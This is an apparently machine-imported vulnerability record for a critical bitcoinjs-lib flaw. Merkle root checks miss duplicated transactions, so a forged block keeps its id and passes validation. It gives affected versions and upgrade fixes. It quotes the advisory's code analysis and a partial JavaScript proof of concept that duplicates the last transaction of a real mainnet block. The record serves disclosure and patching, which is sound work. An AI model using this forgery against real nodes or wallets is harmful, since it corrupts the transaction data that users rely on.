IntelligenceFindingsNMN-2026-0078
bitcoinjs-lib: Undetected merkle node duplication in block root computation validates a forged transaction list
CandidateMachine- or researcher-generated; not independently verified.
In short
What to know.
- Package
- bitcoinjs-lib npmbitcoinjs-lib: from 2.3.0 before 5.2.1. bitcoinjs-lib: from 6.0.0 before 6.1.8. bitcoinjs-lib: from 7.0.0-rc.0 before 7.0.2
- What to do
- Upgrade bitcoinjs-lib to 5.2.1 or later. Upgrade bitcoinjs-lib to 6.1.8 or later. Upgrade bitcoinjs-lib to 7.0.2 or later.
- Severity
- CriticalRated by the source advisory.
- Confidence
- HighThe affected range comes from the advisory; no system that uses the component has been assessed.
Verification
Where it stands.
- Candidate
- In review
- Reproduced
- Confirmed
- Resolved
- Disputed
- Withdrawn
7 listed
Sources
- OSV record GHSA-8vv3-6qpc-gpw6osv.devRetrieved 3 December 2026
- web reference for GHSA-8vv3-6qpc-gpw6github.comRetrieved 3 December 2026
- advisory reference for GHSA-8vv3-6qpc-gpw6nvd.nist.govRetrieved 3 December 2026
- web reference for GHSA-8vv3-6qpc-gpw6github.comRetrieved 3 December 2026
- web reference for GHSA-8vv3-6qpc-gpw6github.comRetrieved 3 December 2026
- web reference for GHSA-8vv3-6qpc-gpw6github.comRetrieved 3 December 2026
- package reference for GHSA-8vv3-6qpc-gpw6github.comRetrieved 3 December 2026
Full record
- Finding
- NMN-2026-0078
- Category
- vulnerability
- Component
- bitcoinjs-lib (npm)bitcoinjs-lib: from 2.3.0 before 5.2.1. bitcoinjs-lib: from 6.0.0 before 6.1.8. bitcoinjs-lib: from 7.0.0-rc.0 before 7.0.2
- Severity
- Critical. Rated by the source advisory.Severity as labelled by the source advisory GHSA-8vv3-6qpc-gpw6. CVSS as given: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:H/SA:H. Noumen has not assessed it.
- Confidence
- High.The affected range comes from the advisory; no system that uses the component has been assessed.
- State
- Candidate. Machine- or researcher-generated; not independently verified.
- Disclosure
- Public
- Mitigation
- Upgrade bitcoinjs-lib to 5.2.1 or later. Upgrade bitcoinjs-lib to 6.1.8 or later. Upgrade bitcoinjs-lib to 7.0.2 or later.
- Discovery method
- imported from a public advisory by the Advisory Monitor (1.0.0)Machine-generated by the agent advisory-monitor@1.0.0.
- Reproduction
- No reproduction steps recorded.
- Related advisories
- GHSA-8vv3-6qpc-gpw6CVE-2026-107846
- Affected systems
- None listed. A link to a system needs its own evidence.
- Attribution
- Researcher: advisory-monitor@1.0.0 (agent, machine-generated)Validators: None yet
- Assigned reviewer
- Nobody yet
- Dates
- Created 3 December 2026, 16:49 UTCUpdated 3 December 2026, 16:49 UTC
Summary, as published by the source advisory
### Summary
`fastMerkleRoot` pads an odd level by hashing the last node with itself. It does not report that it did so, and `checkTxRoots` never looks for repeated transactions. A peer can therefore duplicate transactions to fill the pad and produce a block with a different transaction list but the same merkle root. The block hash and block id do not change, so the header still carries valid proof of work. In the proof of concept a real mainnet block goes from nine transactions to ten, and separately to twelve, with the same id every time, and `checkTxRoots` accepts all three. Bitcoin Core rejects this case through the `mutated` flag in `ComputeMerkleRoot` and the `bad-txns-duplicate` reason in `CheckBlock`. This is CVE-2012-2459.
### Details
A bitcoin merkle tree pads an odd level by hashing the last node with itself. Duplicating transactions to fill that pad therefore yields the same root for a different transaction list. This is CVE-2012-2459. Bitcoin Core detects it in `ComputeMerkleRoot`, which scans each level for two adjacent equal hashes before padding and raises a `mutated` flag when it finds a pair, and `CheckBlock` then rejects the block with `bad-txns-duplicate`.
```cpp
uint256 ComputeMerkleRoot(std::vector<uint256> hashes, bool* mutated) {
bool mutation = false;
while (hashes.size() > 1) {
if (mutated) {
for (size_t pos = 0; pos + 1 < hashes.size(); pos += 2) {
if (hashes[pos] == hashes[pos + 1]) mutation = true;
}
}
if (hashes.size() & 1) {
hashes.push_back(hashes.back());
}
...
```
The forged block carries the duplicate in its own transaction list, so the pair is present at a level and the flag is raised. The honest block has no such pair and is unaffected.
`fastMerkleRoot` performs the duplication and reports nothing.
```js
while (length > 1) {
let j = 0;
for (let i = 0; i < length; i += 2, ++j) {
const left = results[i];
const right = i + 1 === length ? left : results[i + 1];
const data = tools.concat([left, right]);
results[j] = digestFn(data);
}
length = j;
}
return results[0];
```
`Block.calculateMerkleRoot` returns that value unchanged, and `__checkMerkleRoot` only compares it to the header field.
```js
private __checkMerkleRoot(): boolean {
if (!this.transactions) throw errorMerkleNoTxes;
const actualMerkleRoot = Block.calculateMerkleRoot(this.transactions);
return tools.compare(this.merkleRoot!, actualMerkleRoot) === 0;
}
```
Nothing anywhere in `ts_src` looks for an adjacent duplicate pair or for a repeated txid. `checkTxRoots` is the library's advertised block integrity gate and it inherits the gap.
### PoC
```js
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
import { Block } from 'bitcoinjs-lib/src/block';
const fs = require('fs');
const hex = (u) => Buffer.from(u).toString('hex');
// Real mainnet block, from the Bitcoin Core vector set shipped in this repo.
const f = JSON.parse(fs.readFileSync(
'test/fixtures/core/blocks.json', 'utf8'))[0];
const honest = Block.fromHex(f.hex);
console.log('honest block id :', honest.getId());
console.log('id matches fixture :', honest.getId() === f.id);
console.log('transactions :', honest.transactions.length);
console.log('merkle root :', hex(honest.merkleRoot));
console.log('checkTxRoots() :', honest.checkTxRoots());
console.log('serialized bytes :', honest.toBuffer().length);
// Attacker duplicates the last transaction and relays the result.
const forged = Block.fromHex(f.hex);
forged.transactions = forged.transactions.concat([
forged.transactions[forged.transactions.length - 1],
]);
// Round trip through the real parser, exactly as a P2P block message arrives.
const parsed = Block.fromHex(forged.toHex());
console.log('');
console.log('forged block id :', parsed.getId());
console.log('transactions :', parsed.transactions.leng
1 event, oldest first
History
History verified: 1 eventLatest hashebc42c582864ebc42c5828640d4e4e8eaaf98aa1ebc626d6c8cb402505da54c8d9786566fd40
Record createdMachine-generated
By advisory-monitor@1.0.0 (agent, machine-generated)
Reason: Imported from public advisory GHSA-8vv3-6qpc-gpw6.
Entered the record in the state Candidate.
Event 1 hashebc42c582864ebc42c5828640d4e4e8eaaf98aa1ebc626d6c8cb402505da54c8d9786566fd40
About this record
Severity and confidence are rated separately, each with its own reason.
History events are never edited or deleted. Each stores the hash of the one before, so a later change breaks the chain.
Corrections keep the value before and after.